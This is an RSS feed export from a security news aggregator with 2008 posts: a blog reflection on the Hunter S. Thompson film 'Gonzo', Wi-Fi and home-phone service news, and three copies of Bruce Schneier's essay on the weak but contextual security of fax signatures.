<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title><![CDATA[[SecurityRatty] tag: accepts]]></title>
    <link>http://securityratty.com/tag/accepts</link>
    <description></description>
    <pubDate>Thu, 27 Dec 2007 10:58:30 +0000</pubDate>
    <generator>iRatty Engine</generator>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <item>
      <title><![CDATA[Gonzo: Two Thumbs In and Up]]></title>
      <link>http://securityratty.com/article/6853c438c7bef73e63a300124d9cf5de</link>
      <guid>http://securityratty.com/article/6853c438c7bef73e63a300124d9cf5de</guid>
      <description><![CDATA[Just saw the Hunter S. Thompson movie - Gonzo , and if you are a fan you should to. Lots of good stuff in there, the film links various part of his life and career, and gives a pretty unvarnished view...]]></description>
      <content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Hunter_S._Thompson"></a><a style="float: left;" href="http://1raindrop.typepad.com/.a/6a00d83451c75869e200e553c045c48834-pi"><img  class="at-xid-6a00d83451c75869e200e553c045c48834 " alt="180px-Gonzo_citation" src="http://1raindrop.typepad.com/.a/6a00d83451c75869e200e553c045c48834-320wi" style="margin: 0px 5px 5px 0px;"></a> Just saw the Hunter S. Thompson movie - <a href="http://www.rottentomatoes.com/m/gonzo_the_life_and_work_of_dr_hunter_s_thompson/">Gonzo</a>, and if you are a fan you should to. Lots of good stuff in there, the film links various part of his life and career, and gives a pretty unvarnished view of the high highs and the low lows. Weaves in writing, politics, and fame seamlessly.

I have never really had as much fun as early on in my career in the early-mid 90s I was a web programmer in Aspen, hacking CGI/PERL. Among the most fun things was building and running HST's site. My boss, Ed, was his neighbor. Ed was also seriously allergic to bees. One day he was alone in his house and got stung. He was dying. Luckily Hunter was due over to his house to watch a basketball game, walked in and called 911. My boss woke up in the ambulance with Hunter pounding on him chest and screaming at him. Ed said - "Waking up to that face screaming at me, I didn't know if I was alive or dead."

Seeing the movie it was also great to see a lot of the Woody Creek folks again like George Stranahan, who lovingly said about Hunter - "my friend and neighbor who never paid his rent, broke up my marriage and taught my children to smoke dope. "

Of course, there was no way he could match his early productivity and this is true of almost all artists. Most of the last two decades were wasted from a writing standpoint. However his <a href="http://proxy.espn.go.com/espn/page2/story?id=1250751">piece</a> written on 9/11 is as good as its gets:

</p><blockquote><p>
	The towers are gone now, reduced to bloody rubble, along with all hopes for Peace in Our Time, in the United States or any other country. Make no mistake about it: We are At War now -- with somebody -- and we will stay At War with that mysterious Enemy for the rest of our lives. 	
	</p></blockquote><blockquote><p>It will be a Religious War, a sort of Christian Jihad, fueled by religious hatred and led by merciless fanatics on both sides. It will be guerilla warfare on a global scale, with no front lines and no identifiable enemy. Osama bin Laden may be a primitive "figurehead" -- or even dead, for all we know -- but whoever put those All-American jet planes loaded with All-American fuel into the Twin Towers and the Pentagon did it with chilling precision and accuracy. The second one was a dead-on bullseye. Straight into the middle of the skyscraper. 	
	</p></blockquote><blockquote><p>Nothing -- even George Bush's $350 billion "Star Wars" missile defense system -- could have prevented Tuesday's attack, and it cost next to nothing to pull off. Fewer than 20 unarmed Suicide soldiers from some apparently primitive country somewhere on the other side of the world took out the World Trade Center and half the Pentagon with three quick and costless strikes on one day. The efficiency of it was terrifying. 	
	</p></blockquote><blockquote><p>We are going to punish somebody for this attack, but just who or what will be blown to smithereens for it is hard to say. Maybe Afghanistan, maybe Pakistan or Iraq, or possibly all three at once. Who knows? Not even the Generals in what remains of the Pentagon or the New York papers calling for WAR seem to know who did it or where to look for them. 	
	</p></blockquote><blockquote><p>This is going to be a very expensive war, and Victory is not guaranteed -- for anyone, and certainly not for anyone as baffled as George W. Bush. All he knows is that his father started the war a long time ago, and that he, the goofy child-President, has been chosen by Fate and the global Oil industry to finish it Now. He will declare a National Security Emergency and clamp down Hard on Everybody, no matter where they live or why. If the guilty won't hold up their hands and confess, he and the Generals will ferret them out by force. 	
	</p></blockquote><blockquote><p>Good luck. He is in for a profoundly difficult job -- armed as he is with no credible Military Intelligence, no witnesses and only the ghost of Bin Laden to blame for the tragedy.
	
</p></blockquote><p>


One unintended lesson I take away from Hunter's life is how important patience is. Obama is a politician and may yet disappoint us all, but I gotta believe Hunter would be seriously impressed. If he had waited another couple of years, he may have seen a lot of the stuff he fought for in 1968 and 72 come to fruition. Sometimes you are just 36-40 years ahead of your time and you have to be ok with that and figure out how to deal if possible. (Note - it sure sometimes feels this way in software security).

Speaking of security:

</p><blockquote>
	<p><a href="http://www.ram.org/contrib/security.html">Security</a> 	
	</p></blockquote><blockquote><p>by Hunter S. Thompson (1955). 	
	</p></blockquote><blockquote><p>Security ... what does this word mean in relation to life as we know it today? For the most part, it means safety and freedom from worry. It is said to be the end that all men strive for; but is security a utopian goal or is it another word for rut? 	
	</p></blockquote><blockquote><p>Let us visualize the secure man; and by this term, I mean a man who has settled for financial and personal security for his goal in life. In general, he is a man who has pushed ambition and initiative aside and settled down, so to speak, in a boring, but safe and comfortable rut for the rest of his life. His future is but an extension of his present, and he accepts it as such with a complacent shrug of his shoulders. His ideas and ideals are those of society in general and he is accepted as a respectable, but average and prosaic man. But is he a man? has he any self-respect or pride in himself? How could he, when he has risked nothing and gained nothing? What does he think when he sees his youthful dreams of adventure, accomplishment, travel and romance buried under the cloak of conformity? How does he feel when he realizes that he has barely tasted the meal of life; when he sees the prison he has made for himself in pursuit of the almighty dollar? If he thinks this is all well and good, fine, but think of the tragedy of a man who has sacrificed his freedom on the altar of security, and wishes he could turn back the hands of time. A man is to be pitied who lacked the courage to accept the challenge of freedom and depart from the cushion of security and see life as it is instead of living it second-hand. Life has by-passed this man and he has watched from a secure place, afraid to seek anything better What has he done except to sit and wait for the tomorrow which never comes? 	
	</p></blockquote><blockquote><p>Turn back the pages of history and see the men who have shaped the destiny of the world. Security was never theirs, but they lived rather than existed. Where would the world be if all men had sought security and not taken risks or gambled with their lives on the chance that, if they won, life would be different and richer? It is from the bystanders (who are in the vast majority) that we receive the propaganda that life is not worth living, that life is drudgery, that the ambitions of youth must he laid aside for a life which is but a painful wait for death. These are the ones who squeeze what excitement they can from life out of the imaginations and experiences of others through books and movies. These are the insignificant and forgotten men who preach conformity because it is all they know. These are the men who dream at night of what could have been, but who wake at dawn to take their places at the now-familiar rut and to merely exist through another day. For them, the romance of life is long dead and they are forced to go through the years on a treadmill, cursing their existence, yet afraid to die because of the unknown which faces them after death. They lacked the only true courage: the kind which enables men to face the unknown regardless of the consequences. 	
	</p></blockquote><blockquote><p>As an afterthought, it seems hardly proper to write of life without once mentioning happiness; so we shall let the reader answer this question for himself: who is the happier man, he who has braved the storm of life and lived or he who has stayed securely on shore and merely existed?
</p></blockquote><p>

A ship is safest at port, but thats not why we build ships. 
</p>]]></content:encoded>
      <pubDate>Thu, 17 Jul 2008 06:10:12 +0000</pubDate>
      <category domain="http://securityratty.com/tag/life">life</category>
      <category domain="http://securityratty.com/tag/security">security</category>
      <category domain="http://securityratty.com/tag/sought security">sought security</category>
      <category domain="http://securityratty.com/tag/personal security">personal security</category>
      <category domain="http://securityratty.com/tag/national security emergency">national security emergency</category>
      <category domain="http://securityratty.com/tag/software security">software security</category>
      <category domain="http://securityratty.com/tag/expensive war">expensive war</category>
      <category domain="http://securityratty.com/tag/war">war</category>
      <category domain="http://securityratty.com/tag/hunter">hunter</category>
      <source url="http://1raindrop.typepad.com/1_raindrop/2008/07/gonzo-two-thumbs-in-and-up.html">Gonzo: Two Thumbs In and Up</source>
    </item>
    <item>
      <title><![CDATA[Wee-Fi: Kentucky Town-Fi; Exorbitant Hotel-Fi]]></title>
      <link>http://securityratty.com/article/f6c9992466c72a222e4afddfdbb584de</link>
      <guid>http://securityratty.com/article/f6c9992466c72a222e4afddfdbb584de</guid>
      <description><![CDATA[Kentucky town shaves 97 percent of Wi-Fi network cost: The town of Prestonsburg, Kent., thought a city-wide Wi-Fi network could help attract tourists and businesses, while expanding remote access for...]]></description>
      <content:encoded><![CDATA[<p><img src="http://wifinetnews.com/images/weefi.jpg" align="right" border="0" hspace="5" /><a href="http://www.govtech.com/gt/377232?topic=117699"><strong>Kentucky town shaves 97 percent of Wi-Fi network cost:</strong></a> The town of Prestonsburg, Kent., thought a city-wide Wi-Fi network could help attract tourists and businesses, while expanding remote access for telemedicine and other purposes. But Government Technology reports that the first estimates for building a network were from $48,000 to $248,000. They opted to use Meraki's mesh gear and spent $8,500 instead, covering just a 2-mi stretch of their downtown. About 2/3rds was for the equipment, the rest for DSL connections and marketing. The service is free and has no ads at present.</p>

<p><a href="http://www.portfolio.com/business-travel/seat-2B/2008/07/15/Hotel-Internet-Access?rss=true"><strong>Portfolio critiques crazy hotel Wi-Fi pricing:</strong></a> The travel guru that is Joe Brancatelli turns a steely eye to $15 per night charges at fancy hotels for Internet access, noting that cheaper hotels include such service at no cost. The higher-end hotels won't talk for attribution, but they say that a "fraction" of guests use Internet, so why bundle it into the room rate? Pshaw. At $15 per night, four to six users pay the entire cost, while the hotel or its operator accepts a fraction of that rate as settlement from Boingo and iPass and other aggregators. So it's nonsense. They charge because business travelers will expense it and be reimbursed.</p>]]></content:encoded>
      <pubDate>Tue, 15 Jul 2008 07:06:22 +0000</pubDate>
      <category domain="http://securityratty.com/tag/town">town</category>
      <category domain="http://securityratty.com/tag/network">network</category>
      <category domain="http://securityratty.com/tag/cost">cost</category>
      <category domain="http://securityratty.com/tag/wi-fi network cost">wi-fi network cost</category>
      <category domain="http://securityratty.com/tag/city-wide wi-fi network">city-wide wi-fi network</category>
      <category domain="http://securityratty.com/tag/kentucky town shaves">kentucky town shaves</category>
      <category domain="http://securityratty.com/tag/cheaper hotels include">cheaper hotels include</category>
      <category domain="http://securityratty.com/tag/internet">internet</category>
      <category domain="http://securityratty.com/tag/night">night</category>
      <source url="http://wifinetnews.com/archives/008397.html">Wee-Fi: Kentucky Town-Fi; Exorbitant Hotel-Fi</source>
    </item>
    <item>
      <title><![CDATA[T-Mobile Takes Home Line Service National]]></title>
      <link>http://securityratty.com/article/f21fde7220aa4829afc10dd0ff2bc8d3</link>
      <guid>http://securityratty.com/article/f21fde7220aa4829afc10dd0ff2bc8d3</guid>
      <description><![CDATA[T-Mobile launches nationwide July 2nd with its home-line replacement service--or is it a cell plan extension service? I link here to Seattle Times's columnist Brier Dudley's take on @Home , T-Mobile's...]]></description>
      <content:encoded><![CDATA[<p><a href="http://seattletimes.nwsource.com/html/businesstechnology/2008015665_brier25.html"><strong>T-Mobile launches nationwide July 2nd with its home-line replacement service--or is it a cell plan extension service?</strong></a> I link here to Seattle Times's columnist Brier Dudley's take on <a href="http://www.t-mobileathome.com/"><strong>@Home</strong></a>, T-Mobile's $10 per month unlimited domestic home calling service that leverages customers' existing cell service and broadband connection. The service launched in the Seattle area several months ago, and is expanding nationally, and Dudley interviews T-Mobile's boss Robert Dotson for the story. Dotson says T-Mobile doesn't see @Home as a way to get folks to necessarily cut their landline cord, but rather to extend the function of a cell phone inside the house, even if you're using cordless not cellular devices.</p>

<p>The service uses a router that accepts SIM cards for authentication, but the backhaul is pure VoIP over Internet. Regular POTS (plain old telephone service) phones can be plugged into the router. The router is also compatible with HotSpot@Home (an additional $10/month), which allows unlimited domestic calling over Wi-Fi using special handsets from T-Mobile; there are now 8 handset models available. Customers have to have at least a $40 single-line or $50 family plan service to add either @Home or HotSpot@Home.</p>

<p>Probably the key remaining advantage for Vonage and other Internet telephony services that typically charge $20 to $30 per month for unlimited calling is that they include unlimited calls to any number in Canada or the U.S., not just the U.S., as well as unmetered calls to landlines in dozens of other countries in Europe as well as Australia. For those who regularly call outside the U.S., the @Home service would quickly become ridiculously expensive for its international tolls.</p>]]></content:encoded>
      <pubDate>Wed, 25 Jun 2008 06:33:49 +0000</pubDate>
      <category domain="http://securityratty.com/tag/service">service</category>
      <category domain="http://securityratty.com/tag/family plan service">family plan service</category>
      <category domain="http://securityratty.com/tag/home service">home service</category>
      <category domain="http://securityratty.com/tag/home">home</category>
      <category domain="http://securityratty.com/tag/cell service">cell service</category>
      <category domain="http://securityratty.com/tag/t-mobile">t-mobile</category>
      <category domain="http://securityratty.com/tag/telephone service">telephone service</category>
      <category domain="http://securityratty.com/tag/home-line replacement service">home-line replacement service</category>
      <category domain="http://securityratty.com/tag/domestic home">domestic home</category>
      <source url="http://wifinetnews.com/archives/008377.html">T-Mobile Takes Home Line Service National</source>
    </item>
    <item>
      <title><![CDATA[Fax Signatures]]></title>
      <link>http://securityratty.com/article/02253ed921c243d2881b5f9b92f99712</link>
      <guid>http://securityratty.com/article/02253ed921c243d2881b5f9b92f99712</guid>
      <description><![CDATA[Aren't fax signatures the weirdest thing? It's trivial to cut and paste -- with real scissors and glue -- anyone's signature onto a document so that it'll look real when faxed. There is so little...]]></description>
      <content:encoded><![CDATA[<p>Aren't fax signatures the weirdest thing? It's trivial to cut and paste -- with real scissors and glue -- anyone's signature onto a document so that it'll look real when faxed.  There is so little security in fax signatures that it's mind-boggling that anyone accepts them.</p>

<p>Yet people do, all the time. I've signed book contracts, credit card authorizations, nondisclosure agreements and all sorts of financial documents -- all by fax. I even have a scanned file of my signature on my computer, so I can virtually cut and paste it into documents and fax them directly from my computer without ever having to print them out.  What in the world is going on here?</p>

<p>And, more importantly, why are fax signatures still being used after years of experience?  Why aren't there many stories of signatures forged through the use of fax machines?</p>

<p>The answer comes from looking at fax signatures not as an isolated security measure, but in the context of the larger system. Fax signatures work because signed faxes exist within a broader communications context.</p>

<p>In a 2003 paper, <a href="http://www.dtc.umn.edu/~odlyzko/doc/econ.psych.security.pdf">"Economics, Psychology, and Sociology of Security,"</a> Professor Andrew Odlyzko looks at fax signatures and concludes:</p>

<blockquote>Although fax signatures have become widespread, their usage is restricted. They are not used for final contracts of substantial value, such as home purchases. That means that the insecurity of fax communications is not easy to exploit for large gain. Additional protection against abuse of fax insecurity is provided by the context in which faxes are used. There are records of phone calls that carry the faxes, paper trails inside enterprises and so on.  Furthermore, unexpected large financial transfers trigger scrutiny. As a result, successful frauds are not easy to carry out by purely technical means.</blockquote>

<p>He's right. Thinking back, there really aren't ways in which a criminal could use a forged document sent by fax to defraud me. I suppose an unscrupulous consulting client could forge my signature on an non-disclosure agreement and then sue me, but that hardly seems worth the effort. And if my broker received a fax document from me authorizing a money transfer to a Nigerian bank account, he would certainly call me before completing it.</p>

<p>Credit card signatures aren't verified in person, either -- and I can already buy things over the phone with a credit card -- so there are no new risks there, and Visa knows how to monitor transactions for fraud. Lots of companies accept purchase orders via fax, even for large amounts of stuff, but there's a physical audit trail, and the goods are shipped to a physical address -- probably one the seller has shipped to before. Signatures are kind of a business lubricant: mostly, they help move things along smoothly.</p>

<p>Except when they don't.</p>

<p>On October 30, 2004, Tristian Wilson was <a href="http://www.theeveningtimes.com/articles/2004/11/04/news/news5.txt">released</a> from a Memphis jail on the authority of a forged fax message. It wasn't even a particularly good forgery. It wasn't on the standard letterhead of the West Memphis Police Department. The name of the policeman who signed the fax was misspelled. And the time stamp on the top of the fax clearly showed that it was sent from a local McDonald's.</p>

<p>The success of this hack has nothing to do with the fact that it was sent over by fax. It worked because the jail had lousy verification procedures. They didn't notice any discrepancies in the fax. They didn't notice the phone number from which the fax was sent. They didn't call and verify that it was official. The jail was accustomed to getting release orders via fax, and just acted on this one without thinking. Would it have been any different had the forged release form been sent by mail or courier?</p>

<p>Yes, fax signatures always exist in context, but sometimes they are the linchpin within that context. If you can mimic enough of the context, or if those on the receiving end become complacent, you can get away with mischief.</p>

<p>Arguably, this is part of the security process. Signatures themselves are poorly defined.  Sometimes a document is valid even if not signed: A person with both hands in a cast can still buy a house. Sometimes a document is invalid even if signed: The signer might be drunk, or have a gun pointed at his head. Or he might be a minor. Sometimes a valid signature isn't enough; in the United States there is an entire infrastructure of "notary publics" who officially witness signed documents. When I started filing my tax returns electronically, I had to sign a document stating that I wouldn't be signing my income tax documents. And banks don't even bother verifying signatures on checks less than $30,000; it's cheaper to deal with fraud after the fact than prevent it.</p>

<p>Over the course of centuries, business and legal systems have slowly sorted out what types of additional controls are required around signatures, and in which circumstances.</p>

<p>Those same systems will be able to sort out fax signatures, too, but it'll be slow. And that's where there will be potential problems. Already fax is a declining technology. In a few years it'll be largely obsolete, replaced by PDFs sent over e-mail and other forms of electronic documentation. In the past, we've had time to figure out how to deal with new technologies. Now, by the time we institutionalize these measures, the technologies are likely to be obsolete.</p>

<p>What that means is people are likely to treat fax signatures -- or whatever replaces them -- exactly the same way as paper signatures. And sometimes that assumption will get them into trouble.</p>

<p>But it won't cause social havoc. Wilson's story is remarkable mostly because it's so exceptional. And even he was rearrested at his home less than a week later. Fax signatures may be new, but fake signatures have always been a possibility.  Our legal and business systems need to deal with the underlying problem -- false authentication -- rather than focus on the technology of the moment. Systems need to defend themselves against the possibility of fake signatures, regardless of how they arrive.</p>

<p>This essay <a href="http://www.wired.com/politics/security/commentary/securitymatters/2008/05/securitymatters_0529">previously appeared</a> on Wired.com.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=AcrMPI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=AcrMPI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=cTPMJI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=cTPMJI" border="0"></img></a>
</div>]]></content:encoded>
      <pubDate>Tue, 03 Jun 2008 03:01:20 +0000</pubDate>
      <category domain="http://securityratty.com/tag/fax">fax</category>
      <category domain="http://securityratty.com/tag/fax signatures">fax signatures</category>
      <category domain="http://securityratty.com/tag/fax communications">fax communications</category>
      <category domain="http://securityratty.com/tag/fax insecurity">fax insecurity</category>
      <category domain="http://securityratty.com/tag/insecurity">insecurity</category>
      <category domain="http://securityratty.com/tag/fax machines">fax machines</category>
      <category domain="http://securityratty.com/tag/fax message">fax message</category>
      <category domain="http://securityratty.com/tag/treat fax signatures">treat fax signatures</category>
      <category domain="http://securityratty.com/tag/fax document">fax document</category>
      <source url="http://www.schneier.com/blog/archives/2008/06/fax_signatures.html">Fax Signatures</source>
    </item>
    <item>
      <title><![CDATA[Fax Signatures]]></title>
      <link>http://securityratty.com/article/7f8f07462740c577743663da07c14ae3</link>
      <guid>http://securityratty.com/article/7f8f07462740c577743663da07c14ae3</guid>
      <description><![CDATA[Aren't fax signatures the weirdest thing? It's trivial to cut and paste -- with real scissors and glue -- anyone's signature onto a document so that it'll look real when faxed. There is so little...]]></description>
      <content:encoded><![CDATA[<p>Aren't fax signatures the weirdest thing? It's trivial to cut and paste -- with real scissors and glue -- anyone's signature onto a document so that it'll look real when faxed.  There is so little security in fax signatures that it's mind-boggling that anyone accepts them.</p>

<p>Yet people do, all the time. I've signed book contracts, credit card authorizations, nondisclosure agreements and all sorts of financial documents -- all by fax. I even have a scanned file of my signature on my computer, so I can virtually cut and paste it into documents and fax them directly from my computer without ever having to print them out.  What in the world is going on here?</p>

<p>And, more importantly, why are fax signatures still being used after years of experience?  Why aren't there many stories of signatures forged through the use of fax machines?</p>

<p>The answer comes from looking at fax signatures not as an isolated security measure, but in the context of the larger system. Fax signatures work because signed faxes exist within a broader communications context.</p>

<p>In a 2003 paper, <a href="http://www.dtc.umn.edu/~odlyzko/doc/econ.psych.security.pdf">"Economics, Psychology, and Sociology of Security,"</a> Professor Andrew Odlyzko looks at fax signatures and concludes:</p>

<blockquote>Although fax signatures have become widespread, their usage is restricted. They are not used for final contracts of substantial value, such as home purchases. That means that the insecurity of fax communications is not easy to exploit for large gain. Additional protection against abuse of fax insecurity is provided by the context in which faxes are used. There are records of phone calls that carry the faxes, paper trails inside enterprises and so on.  Furthermore, unexpected large financial transfers trigger scrutiny. As a result, successful frauds are not easy to carry out by purely technical means.</blockquote>

<p>He's right. Thinking back, there really aren't ways in which a criminal could use a forged document sent by fax to defraud me. I suppose an unscrupulous consulting client could forge my signature on an non-disclosure agreement and then sue me, but that hardly seems worth the effort. And if my broker received a fax document from me authorizing a money transfer to a Nigerian bank account, he would certainly call me before completing it.</p>

<p>Credit card signatures aren't verified in person, either -- and I can already buy things over the phone with a credit card -- so there are no new risks there, and Visa knows how to monitor transactions for fraud. Lots of companies accept purchase orders via fax, even for large amounts of stuff, but there's a physical audit trail, and the goods are shipped to a physical address -- probably one the seller has shipped to before. Signatures are kind of a business lubricant: mostly, they help move things along smoothly.</p>

<p>Except when they don't.</p>

<p>On October 30, 2004, Tristian Wilson was <a href="http://www.theeveningtimes.com/articles/2004/11/04/news/news5.txt">released</a> from a Memphis jail on the authority of a forged fax message. It wasn't even a particularly good forgery. It wasn't on the standard letterhead of the West Memphis Police Department. The name of the policeman who signed the fax was misspelled. And the time stamp on the top of the fax clearly showed that it was sent from a local McDonald's.</p>

<p>The success of this hack has nothing to do with the fact that it was sent over by fax. It worked because the jail had lousy verification procedures. They didn't notice any discrepancies in the fax. They didn't notice the phone number from which the fax was sent. They didn't call and verify that it was official. The jail was accustomed to getting release orders via fax, and just acted on this one without thinking. Would it have been any different had the forged release form been sent by mail or courier?</p>

<p>Yes, fax signatures always exist in context, but sometimes they are the linchpin within that context. If you can mimic enough of the context, or if those on the receiving end become complacent, you can get away with mischief.</p>

<p>Arguably, this is part of the security process. Signatures themselves are poorly defined.  Sometimes a document is valid even if not signed: A person with both hands in a cast can still buy a house. Sometimes a document is invalid even if signed: The signer might be drunk, or have a gun pointed at his head. Or he might be a minor. Sometimes a valid signature isn't enough; in the United States there is an entire infrastructure of "notary publics" who officially witness signed documents. When I started filing my tax returns electronically, I had to sign a document stating that I wouldn't be signing my income tax documents. And banks don't even bother verifying signatures on checks less than $30,000; it's cheaper to deal with fraud after the fact than prevent it.</p>

<p>Over the course of centuries, business and legal systems have slowly sorted out what types of additional controls are required around signatures, and in which circumstances.</p>

<p>Those same systems will be able to sort out fax signatures, too, but it'll be slow. And that's where there will be potential problems. Already fax is a declining technology. In a few years it'll be largely obsolete, replaced by PDFs sent over e-mail and other forms of electronic documentation. In the past, we've had time to figure out how to deal with new technologies. Now, by the time we institutionalize these measures, the technologies are likely to be obsolete.</p>

<p>What that means is people are likely to treat fax signatures -- or whatever replaces them -- exactly the same way as paper signatures. And sometimes that assumption will get them into trouble.</p>

<p>But it won't cause social havoc. Wilson's story is remarkable mostly because it's so exceptional. And even he was rearrested at his home less than a week later. Fax signatures may be new, but fake signatures have always been a possibility.  Our legal and business systems need to deal with the underlying problem -- false authentication -- rather than focus on the technology of the moment. Systems need to defend themselves against the possibility of fake signatures, regardless of how they arrive.</p>

<p>This essay <a href="http://www.wired.com/politics/security/commentary/securitymatters/2008/05/securitymatters_0529">previously appeared</a> on Wired.com.</p>

<p>EDITED TO ADD (6/3): 2005 story, "<a href="http://www.law.com/jsp/article.jsp?id=1124960718229">Federal Jury Convicts N.Y. Attorney of Faking Judge's Order</a>."</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=Cp1KKI"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=Cp1KKI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/schneier/fulltext?a=vxhJ2I"><img src="http://feeds.feedburner.com/~f/schneier/fulltext?i=vxhJ2I" border="0"></img></a>
</div>]]></content:encoded>
      <pubDate>Tue, 03 Jun 2008 03:01:20 +0000</pubDate>
      <category domain="http://securityratty.com/tag/fax">fax</category>
      <category domain="http://securityratty.com/tag/fax signatures">fax signatures</category>
      <category domain="http://securityratty.com/tag/fax communications">fax communications</category>
      <category domain="http://securityratty.com/tag/fax insecurity">fax insecurity</category>
      <category domain="http://securityratty.com/tag/insecurity">insecurity</category>
      <category domain="http://securityratty.com/tag/fax machines">fax machines</category>
      <category domain="http://securityratty.com/tag/fax message">fax message</category>
      <category domain="http://securityratty.com/tag/treat fax signatures">treat fax signatures</category>
      <category domain="http://securityratty.com/tag/fax document">fax document</category>
      <source url="http://www.schneier.com/blog/archives/2008/06/fax_signatures_1.html">Fax Signatures</source>
    </item>
    <item>
      <title><![CDATA[Why Do We Accept Signatures by Fax?]]></title>
      <link>http://securityratty.com/article/ec46457fe9307589ce91fe4fedfce2af</link>
      <guid>http://securityratty.com/article/ec46457fe9307589ce91fe4fedfce2af</guid>
      <description><![CDATA[Aren't fax signatures the weirdest thing? It's trivial to cut and paste -- with real scissors and glue -- anyone's signature onto a document so that it'll look real when faxed. There is so little...]]></description>
      <content:encoded><![CDATA[<p>Aren't fax signatures the weirdest thing? It's trivial to cut and paste -- with real scissors and glue -- anyone's signature onto a document so that it'll look real when faxed.  There is so little security in fax signatures that it's mind-boggling that anyone accepts them. 
</p>

<p>
Yet people do, all the time. I've signed book contracts, credit card authorizations, nondisclosure agreements and all sorts of financial documents -- all by fax. I even have a scanned file of my signature on my computer, so I can virtually cut and paste it into documents and fax them directly from my computer without ever having to print them out.  What in the world is going on here?
</p>

<p>
And, more importantly, why are fax signatures still being used after years of experience?  Why aren't there many stories of signatures forged through the use of fax machines?
</p>

<p>
The answer comes from looking at fax signatures not as an isolated security measure, but in the context of the larger system. Fax signatures work because signed faxes exist within a broader communications context.
</p>

<p>
In a 2003 paper, <cite><a href="http://www.dtc.umn.edu/~odlyzko/doc/econ.psych.security.pdf">Economics, Psychology, and Sociology of Security</a></cite>, professor Andrew Odlyzko looks at fax signatures and concludes:
</p>

<div class="blockquote">
Although fax signatures have become widespread, their usage is restricted. They are not used for final contracts of substantial value, such as home purchases. That means that the insecurity of fax communications is not easy to exploit for large gain. Additional protection against abuse of fax insecurity is provided by the context in which faxes are used. There are records of phone calls that carry the faxes, paper trails inside enterprises and so on.  Furthermore, unexpected large financial transfers trigger scrutiny. As a result, successful frauds are not easy to carry out by purely technical means.
</div> 
<p>
<p>
He's right. Thinking back, there really aren't ways in which a criminal could use a forged document sent by fax to defraud me. I suppose an unscrupulous consulting client could forge my signature on an non-disclosure agreement and then sue me, but that hardly seems worth the effort. And if my broker received a fax document from me authorizing a money transfer to a Nigerian bank account, he would certainly call me before completing it. 
</p>

<p>
Credit card signatures aren't verified in person, either -- and I can already buy things over the phone with a credit card -- so there are no new risks there, and Visa knows how to monitor transactions for fraud. Lots of companies accept purchase orders via fax, even for large amounts of stuff, but there's a physical audit trail, and the goods are shipped to a physical address -- probably one the seller has shipped to before. Signatures are kind of a business lubricant: mostly, they help move things along smoothly.
</p>
<p>
Except when they don't.
</p>
<p>
On October 30, 2004, Tristian Wilson was <a href="http://www.theeveningtimes.com/articles/2004/11/04/news/news5.txt">released</a> from a Memphis jail on the authority of a forged fax message. It wasn't even a particularly good forgery. It wasn't on the standard letterhead of the West Memphis Police Department. The name of the policeman who signed the fax was misspelled. And the time stamp on the top of the fax clearly showed that it was sent from a local McDonald's.
</p>

<p>
The success of this hack has nothing to do with the fact that it was sent over by fax. It worked because the jail had lousy verification procedures. They didn't notice any discrepancies in the fax. They didn't notice the phone number from which the fax was sent. They didn't call and verify that it was official. The jail was accustomed to getting release orders via fax, and just acted on this one without thinking. Would it have been any different had the forged release form been sent by mail or courier?
</p>
<!--pagebreak-->
<p>
Yes, fax signatures always exist in context, but sometimes they are the linchpin within that context. If you can mimic enough of the context, or if those on the receiving end become complacent, you can get away with mischief.
</p>
<p>
Arguably, this is part of the security process. Signatures themselves are poorly defined.  Sometimes a document is valid even if not signed: A person with both hands in a cast can still buy a house. Sometimes a document is invalid even if signed: The signer might be drunk, or have a gun pointed at his head. Or he might be a minor. Sometimes a valid signature isn't enough; in the United States there is an entire infrastructure of "notary publics" who officially witness signed documents. When I started filing my tax returns electronically, I had to sign a document stating that I wouldn't be signing my income tax documents. And banks don't even bother verifying signatures on checks less than $30,000; it's cheaper to deal with fraud after the fact than prevent it.
</p>

<p>
Over the course of centuries, business and legal systems have slowly sorted out what types of additional controls are required around signatures, and in which circumstances.
</p>

<p>
Those same systems will be able to sort out fax signatures, too, but it'll be slow. And that's where there will be potential problems. Already fax is a declining technology. In a few years it'll be largely obsolete, replaced by PDFs sent over e-mail and other forms of electronic documentation. In the past, we've had time to figure out how to deal with new technologies. Now, by the time we institutionalize these measures, the technologies are likely to be obsolete.
</p>
<p>
What that means is people are likely to treat fax signatures -- or whatever replaces them -- exactly the same way as paper signatures. And sometimes that assumption will get them into trouble.
</p>
<p>
But it won't cause social havoc. Wilson's story is remarkable mostly because it's so exceptional. And even he was rearrested at his home less than a week later. Fax signatures may be new, but fake signatures have always been a possibility.  Our legal and business systems need to deal with the underlying problem -- false authentication -- rather than focus on the technology of the moment. Systems need to defend themselves against the possibility of fake signatures, regardless of how they arrive.
</p>
<p>
---
</p>
<p><cite>Bruce Schneier is Chief Security Technology Officer of BT, and author of </cite>Beyond Fear: Thinking Sensibly About Security in an Uncertain World<cite>.</cite>
</p><br style="clear: both;"/>
      <a href="http://www.pheedo.com/click.phdo?s=7ab87f90e62b86d6fc020a727bf5fac9"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=7ab87f90e62b86d6fc020a727bf5fac9"/></a>
  <img src="http://www.pheedo.com/feeds/tracker.php?i=7ab87f90e62b86d6fc020a727bf5fac9" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare">
